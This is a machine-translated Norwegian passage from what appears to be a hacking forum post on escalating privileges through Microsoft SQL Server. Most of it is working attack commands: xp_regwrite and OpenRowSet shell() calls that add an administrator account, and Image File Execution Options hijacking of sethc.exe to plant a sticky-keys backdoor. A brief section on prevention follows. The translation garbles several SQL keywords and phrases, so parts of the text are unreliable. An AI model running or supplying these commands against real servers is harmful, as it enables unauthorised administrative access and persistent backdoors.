explorer.exe\','c:\windows\system32\sethc.exe'; Denne setningen kopierer sethc.exe til dllcache-katalogen Deklarer @oo int exec sp_oacreate 'scrip remove ting.filesystemobject', @oo ut exec sp_oamethod @oo, 'copyfile', null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\ sethc.exe'; De to andre setningene bruker sp_oacreate lagrede prosedyrer som må bruke odsole70.dll fil, så overlevelsen til denne filen er relatert til suksessen med opprettelsen. (2), xpsql.cpp: Feil 5 fra CreateProcess (linje 737) Denne situasjonen er mer komplisert, og det sies på Internett EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0 Velg * fra OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Velg * fra OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")'); Jeg sjekket sandkassen for å ta opp rettighetene i denne saken, men gjennom min praksis er denne suksessraten veldig lav, fordi de fleste servere har slettet c:\windows\system32\ias ias.mdb\. Deretter kan du prøve bildekapring sethc, selvfølgelig er bildekapring også betinget, 1 eksisterer xp_regwrite denne lagrede prosedyren 2 er 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', Debugger' er ikke slettet Du kan først spørre om registrerings-sticky-nøkkelen har blitt kapret Exec Master.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger' Hvis prompten ikke finner problemet, blir beviset slettet, det er ingen måte, hvis det blir bedt om, sethc.exe utføre SQL-kommandoen EKSEKUTIV mester.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe' Etter å ha koblet til terminalen 5 ganger og skiftet, går den direkte til skrivebordet, og legger den deretter til manuelt.
Registeret endrer terminalporten
[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ Wds \ rdpwd \ Tds \ tcp]
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp,
Når det gjelder forebygging av bildekapring, oppnås dette hovedsakelig gjennom følgende metoder:
★ Lov om tillatelsesbegrensning
Hvis brukeren ikke lenger har tilgang til registernøkkelen, kan den ikke endre disse tingene. Åpne registereditoren og gå til HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options, velg dette elementet, høyreklikk – > tillatelser – > avansert, og senk tillatelsene til administrator- og systembrukere (her trenger du bare å avbryte skriveoperasjonen).
★ Rask knivkutting av rotete hampmetode
Åpne registereditoren og gå til baren
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
Problemet kan løses ved å direkte slette Image File Execution Options-elementet.
SQL Command Hijacks Registry Sticky Key Installation Backdoor xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Debugger','REG_SZ','C:\WINDOWS\system32\kdsn.exe'
Programvarenedlasting:Turister, hvis dere vil se det skjulte innholdet i dette innlegget, vær så snill Svare
|